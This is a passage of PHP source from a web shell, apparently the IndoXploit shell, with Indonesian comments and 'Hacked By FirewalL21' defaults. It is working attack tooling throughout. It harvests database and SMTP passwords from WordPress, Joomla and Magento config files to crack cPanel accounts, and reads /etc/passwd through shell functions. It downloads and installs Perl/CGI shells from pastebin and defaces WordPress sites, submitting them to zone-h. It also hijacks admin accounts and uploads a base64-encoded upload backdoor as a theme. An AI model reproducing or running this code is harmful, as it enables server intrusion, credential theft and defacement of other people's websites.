  1620. echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
  1621. }
  1622. }
  1623. }
  1624. }
  1625. if($i == 0) {
  1626. } else {
  1627. echo "<br>Nemu ".$i." Cpanel by <font color=lime>FirewalL21</font>";
  1628. }
  1629. } else {
  1630. echo "<center>
  1631. <form method='post'>
  1632. USER: <br>
  1633. <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  1634. $_usercp = fopen("/etc/passwd","r");
  1635. while($getu = fgets($_usercp)) {
  1636. if($getu == '' || !$_usercp) {
  1637. echo "<font color=red>Can't read /etc/passwd</font>";
  1638. } else {
  1639. preg_match_all("/(.*?):x:/", $getu, $u);
  1640. foreach($u[1] as $user_cp) {
  1641. if(is_dir("/home/$user_cp/public_html")) {
  1642. echo "$user_cp\n";
  1643. }
  1644. }
  1645. }
  1646. }
  1647. echo "</textarea><br>
  1648. PASS: <br>
  1649. <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  1650. function cp_pass($dir) {
  1651. $pass = "";
  1652. $dira = scandir($dir);
  1653. foreach($dira as $dirb) {
  1654. if(!is_file("$dir/$dirb")) continue;
  1655. $ambil = file_get_contents("$dir/$dirb");
  1656. if(preg_match("/WordPress/", $ambil)) {
  1657. $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  1658. } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  1659. $pass .= ambilkata($ambil,"password = '","'")."\n";
  1660. } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  1661. $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  1662. } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  1663. $pass .= ambilkata($ambil,'password = "','"')."\n";
  1664. } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  1665. $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  1666. } elseif(preg_match("/client/", $ambil)) {
  1667. preg_match("/password=(.*)/", $ambil, $pass1);
  1668. if(preg_match('/"/', $pass1[1])) {
  1669. $pass1[1] = str_replace('"', "", $pass1[1]);
  1670. $pass .= $pass1[1]."\n";
  1671. }
  1672. } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  1673. $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  1674. }
  1675. }
  1676. echo $pass;
  1677. }
  1678. $cp_pass = cp_pass($dir);
  1679. echo $cp_pass;
  1680. echo "</textarea><br>
  1681. <input type='submit' name='crack' style='width: 450px;' value='Crack'>
  1682. </form>
  1683. <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
  1684. }
  1685. } elseif($_GET['do'] == 'smtp') {
  1686. echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
  1687. function scj($dir) {
  1688. $dira = scandir($dir);
  1689. foreach($dira as $dirb) {
  1690. if(!is_file("$dir/$dirb")) continue;
  1691. $ambil = file_get_contents("$dir/$dirb");
  1692. $ambil = str_replace("$", "", $ambil);
  1693. if(preg_match("/JConfig|joomla/", $ambil)) {
  1694. $smtp_host = ambilkata($ambil,"smtphost = '","'");
  1695. $smtp_auth = ambilkata($ambil,"smtpauth = '","'");
  1696. $smtp_user = ambilkata($ambil,"smtpuser = '","'");
  1697. $smtp_pass = ambilkata($ambil,"smtppass = '","'");
  1698. $smtp_port = ambilkata($ambil,"smtpport = '","'");
  1699. $smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
  1700. echo "SMTP Host: <font color=lime>$smtp_host</font><br>";
  1701. echo "SMTP port: <font color=lime>$smtp_port</font><br>";
  1702. echo "SMTP user: <font color=lime>$smtp_user</font><br>";
  1703. echo "SMTP pass: <font color=lime>$smtp_pass</font><br>";
  1704. echo "SMTP auth: <font color=lime>$smtp_auth</font><br>";
  1705. echo "SMTP secure: <font color=lime>$smtp_secure</font><br><br>";
  1706. }
  1707. }
  1708. }
  1709. $smpt_hunter = scj($dir);
  1710. echo $smpt_hunter;
  1711. } elseif($_GET['do'] == 'auto_wp') {
  1712. if($_POST['hajar']) {
  1713. $title = htmlspecialchars($_POST['new_title']);
  1714. $pn_title = str_replace(" ", "-", $title);
  1715. if($_POST['cek_edit'] == "Y") {
  1716. $script = $_POST['edit_content'];
  1717. } else {
  1718. $script = $title;
  1719. }
  1720. $conf = $_POST['config_dir'];
  1721. $scan_conf = scandir($conf);
  1722. foreach($scan_conf as $file_conf) {
  1723. if(!is_file("$conf/$file_conf")) continue;
  1724. $config = file_get_contents("$conf/$file_conf");
  1725. if(preg_match("/WordPress/", $config)) {
  1726. $dbhost = ambilkata($config,"DB_HOST', '","'");
  1727. $dbuser = ambilkata($config,"DB_USER', '","'");
  1728. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1729. $dbname = ambilkata($config,"DB_NAME', '","'");
  1730. $dbprefix = ambilkata($config,"table_prefix = '","'");
  1731. $prefix = $dbprefix."posts";
  1732. $option = $dbprefix."options";
  1733. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1734. $db = mysql_select_db($dbname);
  1735. $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
  1736. $result = mysql_fetch_array($q);
  1737. $id = $result[ID];
  1738. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1739. $result2 = mysql_fetch_array($q2);
  1740. $target = $result2[option_value];
  1741. $update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
  1742. $update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
  1743. echo "<div style='margin: 5px auto;'>";
  1744. if($target == '') {
  1745. echo "URL: <font color=red>error, gabisa ambil nama domain nya</font> -> ";
  1746. } else {
  1747. echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
  1748. }
  1749. if(!$update OR !$conn OR !$db) {
  1750. echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
  1751. } else {
  1752. echo "<font color=lime>sukses di ganti.</font><br>";
  1753. }
  1754. echo "</div>";
  1755. mysql_close($conn);
  1756. }
  1757. }
  1758. } else {
  1759. echo "<center>
  1760. <h1>Auto Edit Title+Content WordPress</h1>
  1761. <form method='post'>
  1762. DIR Config: <br>
  1763. <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  1764. Set Title: <br>
  1765. <input type='text' name='new_title' value='Hacked By FirewalL21' placeholder='New Title'><br><br>
  1766. Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
  1767. <span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
  1768. <textarea name='edit_content' placeholder='contoh script: http://pastebin.com/mRuiZDKR' style='width: 450px; height: 150px;'></textarea><br>
  1769. <input type='submit' name='hajar' value='Hajar!' style='width: 450px;'><br>
  1770. </form>
  1771. <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  1772. ";
  1773. }
  1774. } elseif($_GET['do'] == 'zoneh') {
  1775. if($_POST['submit']) {
  1776. $domain = explode("\r\n", $_POST['url']);
  1777. $nick = $_POST['nick'];
  1778. echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  1779. echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  1780. function zoneh($url,$nick) {
  1781. $ch = curl_init("http://www.zone-h.com/notify/single");
  1782. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1783. curl_setopt($ch, CURLOPT_POST, true);
  1784. curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  1785. return curl_exec($ch);
  1786. curl_close($ch);
  1787. }
  1788. foreach($domain as $url) {
  1789. $zoneh = zoneh($url,$nick);
  1790. if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
  1791. echo "$url -> <font color=lime>OK</font><br>";
  1792. } else {
  1793. echo "$url -> <font color=red>ERROR</font><br>";
  1794. }
  1795. }
  1796. } else {
  1797. echo "<center><form method='post'>
  1798. <u>Defacer</u>: <br>
  1799. <input type='text' name='nick' size='50' value'Achon666ju5t'><br>
  1800. <u>Domains</u>: <br>
  1801. <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
  1802. <input type='submit' name='submit' value='Submit' style='width: 450px;'>
  1803. </form>";
  1804. }
  1805. echo "</center>";
  1806. }elseif($_GET['do'] == 'lcf') {
  1807. mkdir('LCF',0755);
  1808. chdir('LCF');
  1809. $kokdosya = ".htaccess";
  1810. $dosya_adi = "$kokdosya";
  1811. $dosya = fopen ($dosya_adi , 'w') or die ("Error mas broo!!!");
  1812. $metin = "OPTIONS Indexes Includes ExecCGI FollowSymLinks \n AddType application/x-httpd-cgi .pl \n AddHandler cgi-script .pl \n AddHandler cgi-script .pl
  1813. \n \n Options \n DirectoryIndex seees.html \n RemoveHandler .php \n AddType application/octet-stream .php";
  1814. fwrite ( $dosya , $metin ) ;
  1815. fclose ($dosya);
  1816. $file = fopen("lcf.pl","w+");
  1817. $write = fwrite ($file ,file_get_contents("http://pastebin.com/raw/26jAL0sz"));
  1818. fclose($file);
  1819. chmod("lcf.pl",0755);
  1820. echo "<iframe src=LCF/lcf.pl width=97% height=100% frameborder=0></iframe>";
  1821. }
  1822. elseif($_GET['do'] == 'cgi') {
  1823. $cgi_dir = mkdir('idx_cgi', 0755);
  1824. $file_cgi = "idx_cgi/cgi.izo";
  1825. $isi_htcgi = "AddHandler cgi-script .izo";
  1826. $htcgi = fopen(".htaccess", "w");
  1827. $cgi_script = file_get_contents("http://pastebin.com/raw.php?i=XTUFfJLg");
  1828. $cgi = fopen($file_cgi, "w");
  1829. fwrite($cgi, $cgi_script);
  1830. fwrite($htcgi, $isi_htcgi);
  1831. chmod($file_cgi, 0755);
  1832. echo "<iframe src='idx_cgi/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>";
  1833. } elseif($_GET['do'] == 'fake_root') {
  1834. ob_start();
  1835. function reverse($url) {
  1836. $ch = curl_init("http://domains.yougetsignal.com/domains.php");
  1837. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  1838. curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
  1839. curl_setopt($ch, CURLOPT_HEADER, 0);
  1840. curl_setopt($ch, CURLOPT_POST, 1);
  1841. $resp = curl_exec($ch);
  1842. $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
  1843. $array = explode(",,", $resp);
  1844. unset($array[0]);
  1845. foreach($array as $lnk) {
  1846. $lnk = "http://$lnk";
  1847. $lnk = str_replace(",", "", $lnk);
  1848. echo $lnk."\n";
  1849. ob_flush();
  1850. flush();
  1851. }
  1852. curl_close($ch);
  1853. }
  1854. function cek($url) {
  1855. $ch = curl_init($url);
  1856. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  1857. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  1858. $resp = curl_exec($ch);
  1859. return $resp;
  1860. }
  1861. $cwd = getcwd();
  1862. $ambil_user = explode("/", $cwd);
  1863. $user = $ambil_user[2];
  1864. if($_POST['reverse']) {
  1865. $site = explode("\r\n", $_POST['url']);
  1866. $file = $_POST['file'];
  1867. foreach($site as $url) {
  1868. $cek = cek("$url/~$user/$file");
  1869. if(preg_match("/hacked/i", $cek)) {
  1870. echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
  1871. }
  1872. }
  1873. } else {
  1874. echo "<center><form method='post'>
  1875. Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
  1876. User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
  1877. Domain: <br>
  1878. <textarea style='width: 450px; height: 250px;' name='url'>";
  1879. reverse($_SERVER['HTTP_HOST']);
  1880. echo "</textarea><br>
  1881. <input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
  1882. </form><br>
  1883. NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
  1884. }
  1885. } elseif($_GET['do'] == 'adminer') {
  1886. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  1887. function adminer($url, $isi) {
  1888. $fp = fopen($isi, "w");
  1889. $ch = curl_init();
  1890. curl_setopt($ch, CURLOPT_URL, $url);
  1891. curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  1892. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1893. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  1894. curl_setopt($ch, CURLOPT_FILE, $fp);
  1895. return curl_exec($ch);
  1896. curl_close($ch);
  1897. fclose($fp);
  1898. ob_flush();
  1899. flush();
  1900. }
  1901. if(file_exists('adminer.php')) {
  1902. echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  1903. } else {
  1904. if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
  1905. echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  1906. } else {
  1907. echo "<center><font color=red>gagal buat file adminer</font></center>";
  1908. }
  1909. }
  1910. }elseif($_GET['do'] == 'passwbypass') {
  1911. echo '<center>Bypass etc/passw With:<br>
  1912. <table style="width:50%">
  1913. <tr>
  1914. <td><form method="post"><input type="submit" value="System Function" name="syst"></form></td>
  1915. <td><form method="post"><input type="submit" value="Passthru Function" name="passth"></form></td>
  1916. <td><form method="post"><input type="submit" value="Exec Function" name="ex"></form></td>
  1917. <td><form method="post"><input type="submit" value="Shell_exec Function" name="shex"></form></td>
  1918. <td><form method="post"><input type="submit" value="Posix_getpwuid Function" name="melex"></form></td>
  1919. </tr></table>Bypass User With : <table style="width:50%">
  1920. <tr>
  1921. <td><form method="post"><input type="submit" value="Awk Program" name="awkuser"></form></td>
  1922. <td><form method="post"><input type="submit" value="System Function" name="systuser"></form></td>
  1923. <td><form method="post"><input type="submit" value="Passthru Function" name="passthuser"></form></td>
  1924. <td><form method="post"><input type="submit" value="Exec Function" name="exuser"></form></td>
  1925. <td><form method="post"><input type="submit" value="Shell_exec Function" name="shexuser"></form></td>
  1926. </tr>
  1927. </table><br>';
  1928.  
  1929.  
  1930. if ($_POST['awkuser']) {
  1931. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1932. echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
  1933. echo "</textarea><br>";
  1934. }
  1935. if ($_POST['systuser']) {
  1936. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1937. echo system("ls /var/mail");
  1938. echo "</textarea><br>";
  1939. }
  1940. if ($_POST['passthuser']) {
  1941. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1942. echo passthru("ls /var/mail");
  1943. echo "</textarea><br>";
  1944. }
  1945. if ($_POST['exuser']) {
  1946. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1947. echo exec("ls /var/mail");
  1948. echo "</textarea><br>";
  1949. }
  1950. if ($_POST['shexuser']) {
  1951. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1952. echo shell_exec("ls /var/mail");
  1953. echo "</textarea><br>";
  1954. }
  1955. if($_POST['syst'])
  1956. {
  1957. echo"<textarea class='inputz' cols='65' rows='15'>";
  1958. echo system("cat /etc/passwd");
  1959. echo"</textarea><br><br><b></b><br>";
  1960. }
  1961. if($_POST['passth'])
  1962. {
  1963. echo"<textarea class='inputz' cols='65' rows='15'>";
  1964. echo passthru("cat /etc/passwd");
  1965. echo"</textarea><br><br><b></b><br>";
  1966. }
  1967. if($_POST['ex'])
  1968. {
  1969. echo"<textarea class='inputz' cols='65' rows='15'>";
  1970. echo exec("cat /etc/passwd");
  1971. echo"</textarea><br><br><b></b><br>";
  1972. }
  1973. if($_POST['shex'])
  1974. {
  1975. echo"<textarea class='inputz' cols='65' rows='15'>";
  1976. echo shell_exec("cat /etc/passwd");
  1977. echo"</textarea><br><br><b></b><br>";
  1978. }
  1979. echo '<center>';
  1980. if($_POST['melex'])
  1981. {
  1982. echo"<textarea class='inputz' cols='65' rows='15'>";
  1983. for($uid=0;$uid<60000;$uid++){
  1984. $ara = posix_getpwuid($uid);
  1985. if (!empty($ara)) {
  1986. while (list ($key, $val) = each($ara)){
  1987. print "$val:";
  1988. }
  1989. print "\n";
  1990. }
  1991. }
  1992. echo"</textarea><br><br>";
  1993. }
  1994. //
  1995.  
  1996. //
  1997. } elseif($_GET['do'] == 'auto_dwp') {
  1998. if($_POST['auto_deface_wp']) {
  1999. function anucurl($sites) {
  2000. $ch = curl_init($sites);
  2001. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2002. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2003. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  2004. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  2005. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2006. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2007. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2008. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2009. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2010. $data = curl_exec($ch);
  2011. curl_close($ch);
  2012. return $data;
  2013. }
  2014. function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  2015. $post = array(
  2016. "log" => "$userr",
  2017. "pwd" => "$pass",
  2018. "rememberme" => "forever",
  2019. "wp-submit" => "$wp_submit",
  2020. "redirect_to" => "$web",
  2021. "testcookie" => "1",
  2022. );
  2023. $ch = curl_init($cek);
  2024. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2025. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2026. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  2027. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2028. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2029. curl_setopt($ch, CURLOPT_POST, 1);
  2030. curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  2031. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2032. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2033. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2034. $data = curl_exec($ch);
  2035. curl_close($ch);
  2036. return $data;
  2037. }
  2038. $scan = $_POST['link_config'];
  2039. $link_config = scandir($scan);
  2040. $script = htmlspecialchars($_POST['script']);
  2041. $user = "0x1999";
  2042. $pass = "0x1999";
  2043. $passx = md5($pass);
  2044. foreach($link_config as $dir_config) {
  2045. if(!is_file("$scan/$dir_config")) continue;
  2046. $config = file_get_contents("$scan/$dir_config");
  2047. if(preg_match("/WordPress/", $config)) {
  2048. $dbhost = ambilkata($config,"DB_HOST', '","'");
  2049. $dbuser = ambilkata($config,"DB_USER', '","'");
  2050. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  2051. $dbname = ambilkata($config,"DB_NAME', '","'");
  2052. $dbprefix = ambilkata($config,"table_prefix = '","'");
  2053. $prefix = $dbprefix."users";
  2054. $option = $dbprefix."options";
  2055. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2056. $db = mysql_select_db($dbname);
  2057. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  2058. $result = mysql_fetch_array($q);
  2059. $id = $result[ID];
  2060. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  2061. $result2 = mysql_fetch_array($q2);
  2062. $target = $result2[option_value];
  2063. if($target == '') {
  2064. echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  2065. } else {
  2066. echo "[+] $target <br>";
  2067. }
  2068. $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  2069. if(!$conn OR !$db OR !$update) {
  2070. echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  2071. mysql_close($conn);
  2072. } else {
  2073. $site = "$target/wp-login.php";
  2074. $site2 = "$target/wp-admin/theme-install.php?upload";
  2075. $b1 = anucurl($site2);
  2076. $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
  2077. $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  2078. $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  2079. $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  2080. $www = "m.php";
  2081. $fp5 = fopen($www,"w");
  2082. fputs($fp5,$upload3);
  2083. $post2 = array(
  2084. "_wpnonce" => "$anu2",
  2085. "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  2086. "themezip" => "@$www",
  2087. "install-theme-submit" => "Install Now",
  2088. );
  2089. $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
  2090. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2091. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2092. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2093. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2094. curl_setopt($ch, CURLOPT_POST, 1);
  2095. curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
  2096. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2097. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2098. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2099. $data3 = curl_exec($ch);
  2100. curl_close($ch);
  2101. $y = date("Y");
  2102. $m = date("m");
  2103. $namafile = "id.php";
  2104. $fpi = fopen($namafile,"w");
  2105. fputs($fpi,$script);
  2106. $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  2107. curl_setopt($ch6, CURLOPT_POST, true);
  2108. curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
  2109. curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  2110. curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
  2111. curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  2112. curl_setopt($ch6, CURLOPT_COOKIESESSION, true);
  2113. $postResult = curl_exec($ch6);
  2114. curl_close($ch6);
  2115. $as = "$target/k.php";
  2116. $bs = anucurl($as);
  2117. if(preg_match("#$script#is", $bs)) {
  2118. echo "[+] <font color='lime'>berhasil mepes...</font><br>";
  2119. echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  2120. } else {
  2121. echo "[-] <font color='red'>gagal mepes...</font><br>";
  2122. echo "[!!] coba aja manual: <br>";
  2123. echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  2124. echo "[+] username: <font color=lime>$user</font><br>";
  2125. echo "[+] password: <font color=lime>$pass</font><br><br>";
  2126. }
  2127. mysql_close($conn);
  2128. }
  2129. }
  2130. }
  2131. } else {
  2132. echo "<center><h1>WordPress Auto Deface</h1>
  2133. <form method='post'>
  2134. <input type='text' name='link_config' size='50' height='10' value='$dir'><br>
  2135. <input type='text' name='script' height='10' size='50' placeholder='Hacked By FirewalL21' required><br>
  2136. <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
  2137. </form>
  2138. <br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span>
  2139. </center>";
  2140. }
  2141. } elseif($_GET['do'] == 'auto_dwp2') {
  2142. if($_POST['auto_deface_wp']) {
  2143. function anucurl($sites) {
  2144. $ch = curl_init($sites);
  2145. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2146. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2147. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  2148. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  2149. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2150. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2151. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2152. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2153. curl_setopt($ch, CURLOPT_COOKIESESSION,true);
  2154. $data = curl_exec($ch);
  2155. curl_close($ch);
  2156. return $data;
  2157. }
  2158. function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  2159. $post = array(
  2160. "log" => "$userr",
  2161. "pwd" => "$pass",
  2162. "rememberme" => "forever",
  2163. "wp-submit" => "$wp_submit",
  2164. "redirect_to" => "$web",
  2165. "testcookie" => "1",
  2166. );
  2167. $ch = curl_init($cek);
  2168. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2169. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2170. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  2171. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2172. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2173. curl_setopt($ch, CURLOPT_POST, 1);
  2174. curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  2175. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2176. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2177. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2178. $data = curl_exec($ch);
  2179. curl_close($ch);
  2180. return $data;
  2181. }
  2182. $link = explode("\r\n", $_POST['link']);
  2183. $script = htmlspecialchars($_POST['script']);
  2184. $user = "indoxploit";
  2185. $pass = "indoxploit";
  2186. $passx = md5($pass);
  2187. foreach($link as $dir_config) {
  2188. $config = anucurl($dir_config);
  2189. $dbhost = ambilkata($config,"DB_HOST', '","'");
  2190. $dbuser = ambilkata($config,"DB_USER', '","'");
  2191. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  2192. $dbname = ambilkata($config,"DB_NAME', '","'");
  2193. $dbprefix = ambilkata($config,"table_prefix = '","'");
  2194. $prefix = $dbprefix."users";
  2195. $option = $dbprefix."options";
  2196. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2197. $db = mysql_select_db($dbname);
  2198. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  2199. $result = mysql_fetch_array($q);
  2200. $id = $result[ID];
  2201. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  2202. $result2 = mysql_fetch_array($q2);
  2203. $target = $result2[option_value];
  2204. if($target == '') {
  2205. echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  2206. } else {
  2207. echo "[+] $target <br>";
  2208. }
  2209. $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  2210. if(!$conn OR !$db OR !$update) {
  2211. echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  2212. mysql_close($conn);
  2213. } else {
  2214. $site = "$target/wp-login.php";
  2215. $site2 = "$target/wp-admin/theme-install.php?upload";
  2216. $b1 = anucurl($site2);
  2217. $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
  2218. $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  2219. $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
